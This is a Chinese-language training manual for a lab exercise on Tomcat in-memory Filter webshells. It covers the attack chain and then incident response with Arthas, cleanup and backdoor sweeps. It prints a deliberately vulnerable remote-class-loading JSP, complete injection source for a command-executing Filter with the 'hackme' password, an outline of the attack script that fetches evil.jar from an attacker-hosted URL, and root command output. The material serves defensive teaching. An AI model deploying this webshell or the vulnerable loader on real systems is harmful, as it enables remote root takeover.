内存马应急响应 · 新手全流程实战手册
演练日期:2026-08-04 演练环境:本地物理机(攻击端) ↔ 阿里云 ECS x.x.93.235(目标端,隔离测试环境
/opt/tomcat-lab,与生产业务完全隔离) 技术栈:Tomcat 9.0.120 + JDK 21 + JSP(Filter 型内存马) 本文件夹配套文件:
attack.py— 本地攻击脚本(SSH 隧道 + 恶意 jar 托管 + 注入 + 利用)evil.jar— 恶意类打包(攻击者托管的 jar,就是通过它打进去的)ShellFilter.java— 恶意类源码(重点学习文件,看懂它 = 看懂内存马原理)dump_ShellFilter.class— Arthas 从内存中 dump 出的恶意类字节码(取证留证)vuln.jsp/index.jsp— 靶机上的漏洞注入点 / 正常业务页面localhost_access_log样本.txt— 本次攻击留下的真实访问日志(应急发现的起点)
目录
- 第 0 章 新手阅读指南
- 第 1 章 基础概念(建议先看,5 分钟)
- 第 2 章 演练环境与攻击链总览
- 第 3 章 环境部署(搭建靶机)
- 第 4 章 攻击阶段:注入点 → 内存马 → 命令执行
- 第 5 章 应急响应:发现 → 取证 → 清除 → 扫描 → 恢复
- 第 6 章 新手 FAQ
- 第 7 章 速查卡(应急时复制用)
- 第 8 章 术语表
第 0 章 新手阅读指南
这份笔记是实打实跑通过的全过程记录——里面的命令都在真实环境执行过,输出都是真实结果。作为新手,建议按这个顺序读:
- 第 1 章一定要看:不懂”Filter 链 / 类加载器 / 反射”这三件事,后面所有命令都会看不懂
- 第 4、5 章是重点:先看命令,再看我加的
# ← 注释,最后看输出和”这段输出说明什么” - 第 7 章速查卡:抄到你的笔记本里,应急响应时直接照着敲
- 有条件就自己复现:ECS 上靶机还在(8080 端口),本地运行
python attack.py就能重打一遍
学习目标:看完这份笔记,你能回答四个问题——
- 内存马到底是什么?和传统 webshell 有什么区别?
- 攻击者是怎么把一段代码”塞进”运行中的 Java 程序的?
- 应急时怎么用 Arthas 把内存里的恶意代码”揪”出来?
- 怎么清除、怎么排查后门、怎么恢复业务?
第 1 章 基础概念(建议先看,5 分钟)
1.1 一个 HTTP 请求在 Tomcat 里是怎么被处理的?
假设你访问 http://服务器:8080/,Tomcat 的处理流程:

- Filter(过滤器):Java Web 里”拦路检查”的组件。正常的过滤器比如登录校验、字符编码、压缩。定义在
web.xml里。 - Filter 链(FilterChain):多个过滤器按注册顺序串成的链条。关键:每个请求都会经过链上所有 Filter。
1.2 什么是”内存马”?
传统 webshell(落盘型):攻击者在服务器磁盘上写一个 .jsp/.php 文件(比如 /webapps/shell.jsp),访问它就能执行命令。特点:有文件,杀软能查、文件检查能找到。
内存马(无文件型):攻击者不写文件,而是通过代码执行漏洞,往正在运行的 JVM 内存里动态注册一个恶意 Filter。效果一样——访问特殊路径就能命令执行,但:
| 对比项 | 传统 WEBSHELL | 内存马 |
|---|---|---|
| 是否有文件 | ✅ 有,磁盘上可见 | ❌ 无,只在内存 |
| 杀软查杀 | 能查 | 查不到 |
| 文件扫描 | 能找到 | 找不到 |
| 重启 JVM 后 | 文件还在,依然可用 | 失效(除非做了持久化) |
“内存马”名字的由来:恶意代码只存在于内存(JVM 运行时数据),不落盘。
1.3 为什么恶意代码能”不落盘”地运行?—— 类加载器
Java 程序的类(class)不是一开始全部加载到内存的,而是用到哪个类才加载哪个。负责加载类的家伙叫类加载器(ClassLoader)。
- 正常情况:类加载器从磁盘上的 .class 文件 / .jar 包里读字节码
- 有一种特殊的类加载器叫 URLClassLoader:它能从 URL(网络地址) 直接加载字节码,不一定需要磁盘文件!
// 这就是本次攻击的核心一行(简化版):
URLClassLoader loader = new URLClassLoader(new URL[]{new URL("http://攻击者/evil.jar")});
Class<?> c = loader.loadClass("com.evil.ShellFilter"); // 从网络加载恶意类
👉 这就是”无文件”的底层原理:类字节码通过网络进内存,磁盘上干干净净。
1.4 什么是”反射”?
Java 反射 = 运行时查看和操作类/对象的能力。正常情况下你写代码要”编译期就知道类名、方法名”;反射可以在运行时用字符串拿到类、调用方法、读写私有字段。
// 反射示例:用字符串"filterDefs"拿到私有字段,再往里面塞东西
Field field = object.getClass().getDeclaredField("filterDefs"); // 按名字找字段
field.setAccessible(true); // 私有字段也要能碰
Map map = (Map) field.get(object); // 取出字段值
map.put("evilShell", 恶意Filter定义); // 塞进我们的恶意过滤器
👉 内存马注入就是反射 + 类加载器的组合拳:远程加载类 → 反射调用它的方法 → 反射往 Filter 链里塞恶意过滤器。
1.5 什么是 SSH 隧道?(攻击脚本里用到的)
SSH 隧道 = 用 SSH 加密通道把两个端口”接”起来,让网络流量走 SSH 隧道传输。本次演练:
本地 127.0.0.1:8080 ══SSH隧道══▶ ECS 127.0.0.1:8080 (正向:本地访问 = 访问服务器)
ECS 127.0.0.1:9000 ══SSH隧道══▶ 本地 127.0.0.1:9000 (反向:服务器访问9000 = 访问我们本地的http服务)
- 正向隧道:模拟”攻击者通过内网/跳板访问目标”(真实场景:目标在内网,攻击者 SSH 跳板进入)
- 反向隧道:把恶意 jar 托管在攻击者本地,但目标通过
http://127.0.0.1:9000/evil.jar就能下载到——模拟攻击者持有的恶意类服务器(类似 Log4Shell 的 JNDI 服务器),同时把真实攻击者的 IP 藏了起来(日志里只看到 127.0.0.1)
1.6 什么是 Arthas?
Arthas(阿尔萨斯)是阿里巴巴开源的在线诊断工具,可以”钻进”正在运行的 Java 程序:看类、反编译代码、看内存对象、执行表达式。不需要重启目标程序。本次应急响应的取证全靠它。
第 2 章 演练环境与攻击链总览
本地物理机 (Windows, 攻击者视角) ECS
完整攻击链(一条线记住):
① 发现注入点 ② 远程加载恶意类 ③ 反射注册 Filter ④ 触发命令执行
/vuln.jsp 泄露 URLClassLoader 从往 StandardContext访问 /spass=hackme
远程类加载接口攻击者jar托管地址的 FilterChain &cmd=id(127.0.0.1:9000) 塞入 evilShell → 回显命令结果
角色划分:
- 本地物理机 = 攻击者(跑 attack.py)
- ECS 上的 Tomcat = 受害者(业务系统 + 漏洞点)
- 你在 ECS 上的另一个 SSH 会话 = 应急响应管理员(第 5 章所有命令都在这执行)
第 3 章 环境部署(搭建靶机)
目标:ECS 上装一个独立的 Tomcat(端口 8080,和生产 80/443 业务完全隔离),放两个页面。
# ① 建目录、下载 Tomcat 9.0.120(国内用阿里云镜像,GitHub 慢)
mkdir -p /opt/tomcat-lab && cd /opt/tomcat-lab
curl -sL -o tomcat.tar.gz "https://mirrors.aliyun.com/apache/tomcat/tomcat-9/v9.0.120/bin/apache-tomcat-9.0.120.tar.gz"
tar xzf tomcat.tar.gz && mv apache-tomcat-9.0.120 tomcat
# tar xzf = 解压 (x=解压 z=gzip压缩格式 f=指定文件)
# mv 改名为简短的 tomcat,方便输入
# ② 部署两个页面(ROOT = 根应用目录,访问 / 就是这里)
cd tomcat/webapps/ROOT && rm -rf *
# index.jsp:正常业务页面(登录页面那种东西)
# vuln.jsp :故意留的漏洞接口,模拟"任意远程类加载"漏洞
# ← 真实世界里这个漏洞长这样:JNDI注入(Log4j2)、反序列化(Fastjson/Shiro)、
# Struts2 OGNL 等,它们最终都能让攻击者加载任意类。这里用 JSP 模拟,
# 效果完全一样:给一个 url 就能加载类并调用 install 方法。
# ③ 启动 Tomcat
./tomcat/bin/startup.sh # startup.sh = 启动脚本;日志在 tomcat/logs/catalina.out
# ④ 验证
curl -s http://127.0.0.1:8080/ # 能看到首页 HTML = 业务正常
vuln.jsp 源码(漏洞点,务必看懂):
<%@ page import="java.net.*,java.lang.reflect.*" %>
<%
String url = request.getParameter("url"); // ① 接收攻击者的 url 参数(恶意 jar 地址)
String cls = request.getParameter("cls"); // ② 接收类名参数(恶意类名)
if (url != null && cls != null) {
// ③ 用 URLClassLoader 从 url 加载类 —— 这就是漏洞的核心!
URLClassLoader loader = new URLClassLoader(new URL[]{new URL(url)}, this.getClass().getClassLoader());
Class<?> c = loader.loadClass(cls); // ④ 加载指定类
Method m = c.getMethod("install", ServletContext.class); // ⑤ 找 install 方法
m.invoke(null, application); // ⑥ 调用它!恶意 Filter 注册完成
out.println("[+] remote class loaded and installed: " + cls);
}
%>
漏洞本质:接口信任了攻击者提供的 url 和 cls——让攻击者把任意代码塞进 JVM。
第 4 章 攻击阶段:注入点 → 内存马 → 命令执行
本章所有操作由本地物理机执行(
python attack.py),模拟真实攻击者。
4.1 攻击脚本 attack.py 在做什么?
# 关键模块拆解(对应文件 attack.py):
# ① paramiko 连 SSH(我们和服务器之间的安全通道)
ssh.connect('x.130.93.x', username='xxx', key_filename=SSH_KEY)
# ② 双向隧道(见 1.5 概念)
start_forward(transport, 8080, '127.0.0.1', 8080) # 本地8080 → ECS 8080
start_reverse(transport, 9000, '127.0.0.1') # ECS:9000 → 本地9000
# ③ 本地起一个 HTTP 服务,把 evil.jar 托管出去
# (模拟攻击者的恶意类服务器,JNDI/Log4Shell 场景里就是恶意 LDAP 服务器)
# http://127.0.0.1:9000/evil.jar ← 服务器访问这个地址就能下载恶意类
# ④ 攻击四步走(每步发一个 HTTP 请求)
# GET / → 指纹识别
# GET /vuln.jsp → 发现漏洞点
# GET /vuln.jsp?url=...evil.jar&cls=com.evil.ShellFilter → 注入内存马
# GET /s?pass=hackme&cmd=id → 利用内存马执行命令
4.2 Step 1:指纹识别(认识目标)
GET / -> HTTP 200
<html><head><title>XX 内网业务管理系统</title></head>...
输出解读:目标是一个”XX 内网业务管理系统”。攻击者先摸清目标是什么系统、什么技术栈,再找对应漏洞。
4.3 Step 2:发现可注入点
GET /vuln.jsp -> HTTP 200
[i] usage: /vuln.jsp?url=http://ATTACKER/evil.jar&cls=com.evil.ShellFilter
输出解读:漏洞接口把自己的用法都吐出来了(信息泄露)——告诉攻击者:传一个 url 和一个 cls 就能加载任意类。这就是”发现可注入点”:不需要扫描器,一个请求就暴露了。
新手注意:真实渗透里这种”接口主动泄露参数用法”很常见,比如报错回显、Swagger 文档、debug 接口。
4.4 Step 3:打入内存马(全流程最关键的一步)
GET /vuln.jsp?url=http://127.0.0.1:9000/evil.jar&cls=com.evil.ShellFilter
[+] remote class loaded and installed: com.evil.ShellFilter
这里发生了什么(对应第 1.3 节原理):
- Tomcat 收到请求,执行 vuln.jsp
URLClassLoader从http://127.0.0.1:9000/evil.jar(经反向隧道 = 攻击者本地)远程加载com.evil.ShellFilter- 反射调用它的
install(servletContext)静态方法 install()里用反射找到StandardContext(Tomcat 管 Filter 链的容器),动态注册了名为evilShell的恶意 Filter,并把它插到 Filter 链最前面
恶意类 ShellFilter.java 源码逐段拆解(重点学习):
public static void install(ServletContext servletContext) throws Exception {
// 【第1步】拿到 StandardContext(管理所有 Filter 的对象)
// ServletContext 是个"门面"(Facade),里面套着 ApplicationContext,
// 再里面才是 StandardContext。所以循环找 3 层:
Object obj = servletContext;
for (int i = 0; i < 3 && obj != null; i++) {
Field ff = obj.getClass().getDeclaredField("context"); // 反射:按名字找私有字段
ff.setAccessible(true); // 私有字段也能访问
obj = ff.get(obj); // 取出字段值
if (obj != null && obj.getClass().getName().equals(
"org.apache.catalina.core.StandardContext")) { // 找到 StandardContext 就停
break;
}
}
if (obj == null) throw new IllegalStateException("StandardContext not found");
// 【第2步】构造一个"恶意 Filter 的定义"(名字 evilShell,类是我们自己)
Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "evilShell");
filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, ShellFilter.class.getName());
filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new ShellFilter());
// 【第3步】把 FilterDef 塞进 filterDefs 这个 Map(相当于 web.xml 里注册了一个 Filter)
Field filterDefsField = obj.getClass().getDeclaredField("filterDefs");
filterDefsField.setAccessible(true);
Map<String, Object> filterDefs = (Map<String, Object>) filterDefsField.get(obj);
filterDefs.put("evilShell", filterDef);
// 【第4步】把过滤规则(/* = 所有请求)插到 Filter 链最前面
// addFilterMapBefore = 插到最前面 → 所有请求第一个经过我们的恶意 Filter
Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "evilShell");
filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
obj.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(obj, filterMap);
// 【第5步】启动这个 Filter(不然不生效)
obj.getClass().getMethod("filterStart").invoke(obj);
}
// 【恶意逻辑】doFilter:每个请求都会经过它
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
String cmd = request.getParameter("cmd"); // ① 看请求有没有 cmd 参数
// ② 触发条件:路径以 /s 结尾 + 有 cmd 参数 + pass 口令等于 hackme
if (request.getRequestURI().endsWith("/s") && cmd != null
&& "hackme".equals(request.getParameter("pass"))) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); // ③ 执行命令
// ④ 把命令输出写回响应(回显)——攻击者浏览器/脚本直接看到结果
response.getWriter().print(命令输出);
return; // ⑤ 拦截:不往下传,业务无感
}
chain.doFilter(req, resp); // ⑥ 不是触发请求就正常放行 → 业务透明
}
内存马 vs 一句话木马:一句话木马(如冰蝎的 .jsp)是把代码写到文件;内存马是把同样的逻辑变成内存里的一个 Filter。触发方式都是”带口令访问特殊路径”。
4.5 Step 4:利用内存马命令执行
# 触发请求:/s?pass=hackme&cmd=<要执行的命令>
cmd: id
uid=0(root) gid=0(root) groups=0(root) ← 命令执行成功!且是 root 权限!
cmd: whoami
root
cmd: hostname; cat /etc/hostname
DCJ
cmd: cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
输出解读:
id显示uid=0(root)→ Tomcat 以 root 运行,攻击者拿到的是服务器最高权限(这也是加固建议:Tomcat 不要用 root 跑)cat /etc/passwd能读系统账户文件 → 已经可以任意读文件- 这个内存马现在等价于”一个不需要文件、重启前永远可用的 root shell”
# 最后验证:正常业务不受影响(内存马对业务"透明")
GET / -> HTTP 200(正常返回)
为什么业务无感? 因为恶意 Filter 对普通请求只是”看一眼参数,不是触发请求就放行”,业务链路完全没变。
第 5 章 应急响应:发现 → 取证 → 清除 → 扫描 → 恢复
角色切换:现在你是应急响应管理员,在 ECS 上执行下面的命令。 目标:发现入侵 → 确认是内存马 → 取证留证 → 清除 → 全面排查后门 → 修复漏洞恢复业务。
5.1 阶段 A:发现——从访问日志找到蛛丝马迹
故事线:管理员例行查看 Tomcat 访问日志,发现了异常请求。
cat /opt/tomcat-lab/tomcat/logs/localhost_access_log.2026-08-04.txt
真实输出(节选关键行):
127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /vuln.jsp?url=http%3A%2F%2F127.0.0.1%3A9000%2Fevil.jar&cls=com.evil.ShellFilter" 200
127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /s?pass=hackme&cmd=id" 404 ← 注入前的尝试(未生效)
127.0.0.1 - - [04/Aug/2026:01:24:42] "GET /s?pass=hackme&cmd=id" 200 ← 注入成功后(命令执行了!)
127.0.0.1 - - [04/Aug/2026:01:24:43] "GET /s?pass=hackme&cmd=cat+%2Fetc%2Fpasswd+%7C+head+-3" 200
新手怎么看日志(3 个可疑点):
vuln.jsp带url=...evil.jar&cls=com.evil.ShellFilter→ 有人在让服务器加载外部类(攻击行为!)/s?pass=hackme&cmd=id→cmd=参数 = 命令执行特征,pass== 后门口令(webshell/内存马标志)- 同一个路径
/s从 404 变成 200 → 说明”中间发生了什么让这个路径生效了”——这正是内存马注入成功的时间点
日志告警特征速记:cmd= / pass= / 远程 jar 加载 / 404→200 转变 / 无对应文件的高频路径。
5.2 阶段 B:文件系统排查——确认”没有落盘文件”
管理员第一反应:查文件系统有没有 webshell 文件。
# ① 看 webapps 下所有文件(业务部署目录)
find /opt/tomcat-lab/tomcat/webapps -type f | head
# 输出只有 index.jsp / vuln.jsp 和 Tomcat 自带示例 —— 没有 shell.jsp 之类的文件
# ② 找最近 2 小时内被修改过的文件
find /opt/tomcat-lab -mmin -120 -type f | grep -v logs
# 只有我们部署的业务文件 —— 磁盘干净
# ③ 专门找 jsp/war 后门
find /opt/tomcat-lab -name "*.jsp" -o -name "*.war" | xargs ls -la
# 无恶意文件
推理:日志明确显示命令执行了(/s?cmd=id 返回 200),但磁盘上没有任何 webshell 文件 → 恶意代码不在文件系统里 → 高度怀疑内存马。
5.3 阶段 C:Arthas 取证(本次演练核心环节)
工具准备:
# 下载 Arthas(阿里云官方 CDN,应急时如果目标无法外网下载,
# 应提前在运维工具机备好,或从内网镜像拉)
curl -sL -o arthas-boot.jar https://arthas.aliyun.com/arthas-boot.jar
# 找到 Tomcat 的进程号(PID)
pgrep -f "org.apache.catalina.startup.Bootstrap"
# 输出:1761264 ← 这就是 Tomcat 的 PID
# 用非交互模式执行 Arthas 命令(-f 指定命令脚本文件,适合应急自动化和记录)
java -jar arthas-boot.jar --select 1761264 -f /tmp/arthas_cmd.txt
# --select <pid> = 指定要诊断的进程
# -f 文件 = 从文件读命令批量执行
取证 ① sc 搜索可疑类(sc = search class)
[arthas@1761264]$ sc com.evil.*
com.evil.ShellFilter
com.evil.ShellFilter
Affect(row-cnt:2) cost in 22 ms.
输出解读:内存里存在 com.evil.ShellFilter!出现了 2 次——因为攻击打了 2 次(第一次失败了,第二次成功),每次注入都加载了一份类。正常业务系统里绝不会有 com.evil 这个包。
取证 ② sc -d 看类详情——三个铁证
[arthas@1761264]$ sc -d com.evil.ShellFilter
class-info com.evil.ShellFilter
code-source /evil.jar ← 【铁证1】类来源是URL不是磁盘路径!
class-loader java.net.URLClassLoader@2dda4381 ← 【铁证2】动态远程类加载器!
interfaces javax.servlet.Filter ← 【铁证3】它是 Filter(内存马常见形态)
新手必懂——为什么这三个字段就是铁证:
code-source: /evil.jar:正常类的来源是磁盘文件路径(如file:/opt/tomcat-lab/tomcat/lib/servlet-api.jar)。/evil.jar是一个 URL 路径(来自网络),说明这个类是从网上加载的——正常业务不可能这样。class-loader: java.net.URLClassLoader:正常业务类由 Tomcat 的WebappClassLoader(加载 webapps 下的类)或系统类加载器加载。URLClassLoader 专门用来加载远程/动态字节码。interfaces: javax.servlet.Filter:它是个过滤器 → 结合日志里/s?cmd=id能命令执行 → 就是它干的。
取证 ③ jad 反编译——直接看恶意代码
[arthas@1761264]$ jad -c 2dda4381 com.evil.ShellFilter
# -c <hashcode> = 指定类加载器(因为有两个实例,要指明确认看哪一个)
...
/*38*/ clazz.getMethod("setFilterName", String.class).invoke((Object)field, "evilShell");
/*58*/ object.getClass().getMethod("filterStart", new Class[0]).invoke(object);
/*69*/ Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", string}); ← 命令执行!
输出解读:Arthas 把内存里的字节码反编译成 Java 源码——第 69 行 Runtime.exec("/bin/sh -c ...") 就是执行命令的代码。证据链闭合:这个类就是内存马,逻辑和日志里的攻击行为完全对应。
取证 ④ dump 导出 class——留证
[arthas@1761264]$ dump -d /tmp/arthas_dump com.evil.ShellFilter
Affect(row-cnt:2) cost in 58 ms.
→ /tmp/arthas_dump/java.net.URLClassLoader-2dda4381/com/evil/ShellFilter.class ← 落盘了!
→ /tmp/arthas_dump/java.net.URLClassLoader-6ccd63b7/com/evil/ShellFilter.class
为什么要 dump:应急响应要留证据——把内存里的恶意类导成 .class 文件保存(对应本文件夹的 dump_ShellFilter.class),可以交给上级/厂商分析,也是事后复盘材料。
取证 ⑤ vmtool 直击 Filter 链——实锤动态注册
[arthas@1761264]$ vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'
@String[/manager -> [Tomcat WebSocket (JSR356) Filter, CSRF, HTTP header security filter]]
@String[/docs -> [Tomcat WebSocket (JSR356) Filter]]
@String[ -> [Tomcat WebSocket (JSR356) Filter, evilShell]] ← 注意这里!ROOT应用多了 evilShell
@String[/examples -> [Compression Filter, ...]]
输出解读(重点看):
- 列出 Tomcat 里每个应用(/manager、/docs、/examples……和 ROOT)注册的所有 Filter
- 其他应用的 Filter 都是 Tomcat 自带的(WebSocket、CSRF、压缩……都是
web.xml里配置的正常过滤器) - ROOT 应用(path 为空的那行)多了一个
evilShell——没有任何配置文件和它对应 → 这就是被动态注册的内存马,实锤
取证小技巧:对比”配置里有的 Filter”和”运行时实际存在的 Filter”,多出来的就是内存马。这是最可靠的判断方法。
取证 ⑥ 落盘痕迹检查——JDK 9+ 的特别发现
# 理论上 URLClassLoader 下载远程 jar 会缓存到 java.io.tmpdir(JDK 8 行为)
find /opt/tomcat-lab/tomcat/temp /tmp -name "*.jar" -newermt "2026-08-04 01:20"
# 结果:啥都没有!
这是本次演练最有价值的实战发现之一:JDK 8 时代,URLClassLoader 从 http 下载 jar 会在临时目录留下一个随机名的缓存 jar(java.io.tmpdir 下),应急时可以靠它发现攻击痕迹。但 JDK 9+ 之后不再缓存,远程 jar 直接进内存——更隐蔽,只能靠内存取证(Arthas)。这也说明:Java 版本越高,内存马检测越依赖运行时工具。
5.4 阶段 D:清除内存马
原理:这是纯内存型内存马(没有持久化),它的宿主就是 JVM 进程——重启 JVM,内存清空,内存马自然消失。
# ① 关闭 Tomcat(shutdown.sh 优雅停止)
/opt/tomcat-lab/tomcat/bin/shutdown.sh && sleep 5
# 验证进程真的退出了
pgrep -f Bootstrap && echo "[!] 进程仍在" || echo "[+] 进程已退出"
# ② 重启
/opt/tomcat-lab/tomcat/bin/startup.sh
# ③ 验证业务恢复
curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/
# 输出 HTTP 200 → 业务正常
# ④ 验证内存马已失效(同样的触发请求现在 404 了)
curl -s "http://127.0.0.1:8080/s?pass=hackme&cmd=id" | head -3
# 输出 404 Not Found → 内存马没了!
# ⑤ Arthas 复查(严谨做法:清除后必须复查确认)
[arthas@1765934]$ sc com.evil.*
Affect(row-cnt:0) cost in 14 ms. ← 0 行!恶意类彻底不存在
vmtool --action getInstances ...(同上命令)
@String[ -> [Tomcat WebSocket (JSR356) Filter]] ← evilShell 已消失,Filter 链恢复干净
⚠️ 重要提醒(新手必记):重启能清除纯内存型内存马。但如果攻击者做了持久化——比如改了
lib/下的 jar、在启动参数加了-javaagent、写了启动脚本——重启后内存马会再次出现。所以必须先做 5.5 的后门扫描确认无持久化,再决定”重启清除”是否足够。
5.5 阶段 E:后门扫描(全面排查系统是否还有别的后门)
原则:不止清除一个内存马,要确认整个系统干净。攻击者往往不止留一个后门。
# ① 计划任务(定时任务 = 常见持久化手段)
crontab -l # root 的计划任务:只有宝塔面板自己的备份任务,正常
ls /etc/cron.d/ /etc/cron.daily/ # 系统自带 e2scrub/sysstat,正常
# ② 启动项
cat /etc/rc.local # 无内容,正常
systemctl list-units --type=service --state=running
# 运行中的服务:aegis(阿里云盾)/BT(宝塔)/mihomo(用户自己的代理)/sshd/nginx... 都是已知服务
# ③ SSH 后门(攻击者最常留:把自己的公钥写进 authorized_keys)
cat /root/.ssh/authorized_keys
# 只有 admin@DESKTOP-AI93QHL —— 用户自己的电脑,正常
# ④ 用户账户(攻击者可能创建新用户)
grep -v nologin /etc/passwd
# admin / springboot 都是已知用户,无新增异常用户
# ⑤ 监听端口(后门可能开新端口)
ss -antp | grep LISTEN
# 22/80/443/8080/3306/5003/35033 —— 全部已知,无陌生端口
# ⑥ Tomcat lib 目录基线(攻击者可能替换 jar 植入后门)
ls /opt/tomcat-lab/tomcat/lib/*.jar | wc -l # 33 个 = 官方包数量
find /opt/tomcat-lab/tomcat/lib -name "*.jar" -newermt "2026-08-04 01:20" | wc -l # 0 个近期新增
# ⑦ 近期被修改的系统文件 + profile 文件(.bashrc 等可能被注入启动后门)
find /etc /root /usr/local /opt -mmin -180 -type f | grep -vE "tomcat|\.bash_history"
tail -5 /root/.bashrc # 只有 clash 代理和宝塔别名,正常
扫描结论:全部正常,无持久化后门 → 确认本次攻击是纯内存型,重启清除有效、彻底。
5.6 阶段 F:修复漏洞 + 恢复业务
应急的最后一步:堵住让攻击者进来的洞,否则清完还会再进来。
# ① 修复漏洞:移除注入点(真实场景:给漏洞打补丁、加参数校验、限制出网等)
mv /opt/tomcat-lab/tomcat/webapps/ROOT/vuln.jsp /tmp/vuln.jsp.bak
# ② 最终验证
curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/ # 200 业务正常
curl -s -o /dev/null -w "GET /vuln.jsp -> HTTP %{http_code}" http://127.0.0.1:8080/vuln.jsp # 404 漏洞已修复
第 6 章 新手 FAQ
Q1:内存马到底”存在”在哪里? A:在 JVM 进程的内存里。它是被加载到内存的类对象,挂在 Tomcat 的 Filter 链数据结构里。没有文件,所以重启进程就没了。
Q2:杀软为什么查不到内存马? A:杀软主要扫磁盘文件 + 进程行为。内存马没有文件(文件层面零特征),行为层面只是”动态注册了个 Filter”——大多数杀软不监控 JVM 内部结构。
Q3:sc、jad、dump、vmtool 都是什么意思? A:Arthas 的命令:
sc(search class)= 搜类jad= 反编译(内存里的字节码 → Java 源码)dump= 导出类字节码成文件vmtool= 查看/操作 JVM 里的对象实例- 其他常用:
thread看线程、heapdump导出堆、ognl执行表达式、watch监控方法
Q4:内存马有哪些类型? A:按注册位置分:
- Filter 型(本次演练):挂在 Filter 链 → 每个请求都经过
- Servlet 型:动态注册一个 Servlet 到路径映射
- Listener 型:注册事件监听器(request/session 事件触发)
- Spring 型:注册 Controller/Interceptor(SpringMVC 框架内)
- Agent 型:篡改已加载的类(最隐蔽,dump 出来看是”正常类被改了”)
Q5:如果重启后内存马又出现了,说明什么? A:说明有持久化——攻击者把恶意代码写进了磁盘某个会被 JVM 加载的地方(改 lib jar / -javaagent 启动参数 / 写启动脚本 / 替换框架 jar)。这时要按 5.5 的清单深挖,先清除持久化载体再重启。
Q6:日志里的 404→200 转变为什么重要? A:请求某个路径先 404(目标不存在)后 200(目标存在),说明运行环境变了——内存马注入生效的典型信号。监控这类转变能快速发现内存马攻击。
Q7:本地物理机扮演的角色是什么? A:攻击者。attack.py 里做了三件事:SSH 隧道(内网穿透/隐藏来源)、托管恶意 jar(恶意类服务器)、发 HTTP 攻击请求。真实攻击中攻击者用 VPS/跳板机做这些事,日志里只看到内网 IP。
Q8:如果 Tomcat 以普通用户(非 root)运行,影响有多大? A:攻击者拿到的是 Tomcat 运行用户的权限。root 运行 = 服务器沦陷;普通用户运行 = 至少无法直接读写系统文件。最小权限原则是重要防线。
Q9:vuln.jsp 这种漏洞在真实世界里长什么样? A:对应关系:
- 远程类加载接口 → JNDI 注入(Log4j2/Log4Shell)、反序列化(Fastjson/Shiro/Weblogic)
- 攻击者托管恶意 jar/LDAP → 攻击者的 VPS 上的恶意 LDAP/RMI 服务器
- 内存马注册 → 完全一样(Filter/Servlet/Spring Controller) 所以本演练虽然用 JSP 模拟,但攻击链每一步在真实漏洞里都有对应。
Q10:我要多久才能独立做一次应急响应? A:理解这份笔记 + 亲手复现一遍(ECS 靶机还在),大概 1-2 天能上手流程。重点是记住”检测要点速查表”和”先查持久化再重启”的原则。
第 7 章 速查卡(应急时复制用)
一、发现(日志)
# 找可疑请求:远程类加载 / cmd 参数 / pass 口令 / 404→200
grep -E "cmd=|pass=|evil|Shell|\.jar&cls=" tomcat/logs/localhost_access_log*.txt
二、确认(文件 vs 内存)
# 1. 文件系统:无落盘
find /var/lib/tomcat*/webapps -type f -newermt "1 day ago" 2>/dev/null
# 2. 内存:Arthas 三连
java -jar arthas-boot.jar --select <PID> -c "sc com.evil.*" # 搜可疑类
java -jar arthas-boot.jar --select <PID> -c "sc -d com.evil.ShellFilter" # 看 code-source/class-loader
java -jar arthas-boot.jar --select <PID> -c "jad -c <hash> com.evil.ShellFilter" # 反编译
# 3. Filter 链对比(最可靠)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'
三、清除
# 纯内存型:重启即清除
shutdown.sh && sleep 5 && startup.sh
# 复查
java -jar arthas-boot.jar --select <新PID> -c "sc com.evil.*" # 期望 row-cnt:0
四、后门扫描
crontab -l; ls /etc/cron.d/ # 计划任务
systemctl list-units --type=service --state=running # 服务
cat /root/.ssh/authorized_keys # SSH 后门
grep -v nologin /etc/passwd # 异常用户
ss -antp | grep LISTEN # 陌生端口
find lib -name "*.jar" -newermt "3 days ago" # jar 替换
tail -5 ~/.bashrc; cat /etc/rc.local # profile 后门
find / -mtime -3 -name "*.jsp" -o -mtime -3 -name "*.php" 2>/dev/null # 后门文件
五、恢复与加固
# 修复漏洞 → 重启验证 → 补监控(日志/基线/最小权限)
第 8 章 术语表
| 术语 | 解释 |
|---|---|
| JVM | Java 虚拟机,Java 程序运行的地方,内存马就住在它的内存里 |
| Tomcat | 最流行的 Java Web 服务器(Servlet 容器) |
| Filter / FilterChain | 过滤器 / 过滤器链,每个请求必经的检查通道 |
| Servlet / JSP | Java Web 的业务组件(JSP 可以在里面写 Java 代码) |
| webapps | Tomcat 部署应用/网站的目录,落盘 webshell 通常在这里 |
| web.xml | 应用的配置文件,正常 Filter 都在这里注册 |
| StandardContext | Tomcat 内部管理一个应用所有组件(Filter/Servlet)的对象 |
| ClassLoader | 类加载器,负责把 class 字节码加载进内存 |
| URLClassLoader | 能从网络 URL 加载字节码的类加载器(内存马攻击的入口) |
| 反射(Reflection) | 运行时用字符串动态操作类/字段/方法的技术 |
| 反序列化漏洞 | 程序把外部数据还原成对象时执行了恶意代码(内存马常见入口) |
| JNDI 注入 | 程序按攻击者指定的地址加载远程对象(Log4Shell 就是它) |
